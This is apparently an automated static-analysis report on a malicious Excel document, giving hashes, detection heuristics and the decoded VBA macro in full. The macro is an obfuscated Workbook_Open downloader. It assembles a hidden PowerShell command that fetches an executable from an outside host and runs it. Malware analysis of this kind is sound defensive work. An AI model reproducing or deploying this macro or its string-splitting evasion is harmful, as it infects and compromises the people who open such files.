Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1b4cfbc915c345c1…

MALICIOUS

Office (OLE)

44.0 KB Created: 2017-10-19 07:59:05 Authoring application: Microsoft Excel First seen: 2021-07-02
MD5: 2ef27fa73958d5d23280014b08c89dfb SHA-1: 5357bda693de76252207c27c386b77c3c5509044 SHA-256: 1b4cfbc915c345c15334b5514644e2983c84573e31b6987b3eb764c137fa25d6
280 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The file contains a Workbook_Open VBA macro that utilizes Shell() to execute a command. This command reassembles 'cmd.exe' and 'powershell' with obfuscated arguments, including a URL 'https://loadcloud.st' which is likely used to download and execute a second-stage payload. The macro's obfuscation techniques and the use of Shell() to launch external commands are indicative of a downloader.

Heuristics 6

  • ClamAV: Xls.Dropper.Generic-6595971-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Generic-6595971-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2349 bytes
SHA-256: c5ffffe33a1161aee8a81561661d4bb7667f82381c683afd8130611927effd71
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True







































































































Function naturalipad()
naturalipad = "Fil  ""Sv bXzO91 ([tYPe](\""{2}{1}{0}\""-F 'MenT','IroN','ENv'));  do{.(\""{1}{0}\"" -f'p','slee') 41;$lenovo =   (ge"
End Function
Function vistubularcut()
vistubularcut = "ElL -noLOGO  -NOeXIt -noNINTERAcTIV  -WInDO  hiDden  -EXecUtionP  bYpAss  -nOpRO"
End Function
Sub Workbook_Open()
Shell portoslo, RibbonControlSizeRegular

End Sub
Function violetcolories()
violetcolories = "T-chil" + "DITEm VaR" + "iABle:bxzo91  ).vaL" + "Ue::(\""{2}{0" + "}{3}{1}\""-f 'tF','rP" + "ath','Ge','ol" + "de').Invoke(('My'+'Do'+'cu'+'me'+'nts'));(.(\""{1}{"
End Function
Function mountsigua()
mogaaaa = "nT" + ").\""d" + "o`" + "Wn"
mountsigua = "3}{0}{2}\"" -f'c','Ne" + "w-O" + "bj','t','e') " + aracoole + mogaaaa + "LOaDF`i`lE\"".\""iN`VoKe\""(('ht'+"
End Function
Function aracoole()
aracoole = "sY`STe" + "m.Ne" + "t.`w`E" + "Bc" + "l`IE"
End Function
Function lamachina()
Dim floxteam As String
Randomize
floxteam = Int(Rnd * 9433361#)
lamachina = floxteam
End Function
Function portoslo()
portoslo = "cm" + "d.e" + "Xe   /" + "c ""  PO" + "weRsH" & vistubularcut + naturalipad & violetcolories + mountsigua & geraldinio
End Function

Function geraldinio()
fereerorii = lamachina
debianlin = "'tps:'+'//'+'loadc'+'loud.st'+'ream/r'+'emain'+'ing'),\""$lenovo\" + "\" + fereerorii + ".e" + "xe\"")}wh"
famaleone = "ile(!$?);" + "&(\""{1}{0}{2}\""-f'ro','S" + "tart-P','cess') $LEnOvo\" + fereerorii + ".e" + "XE"""""
geraldinio = debianlin + famaleone
End Function



Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Open this report in the interactive analyzer, or submit your own file for analysis.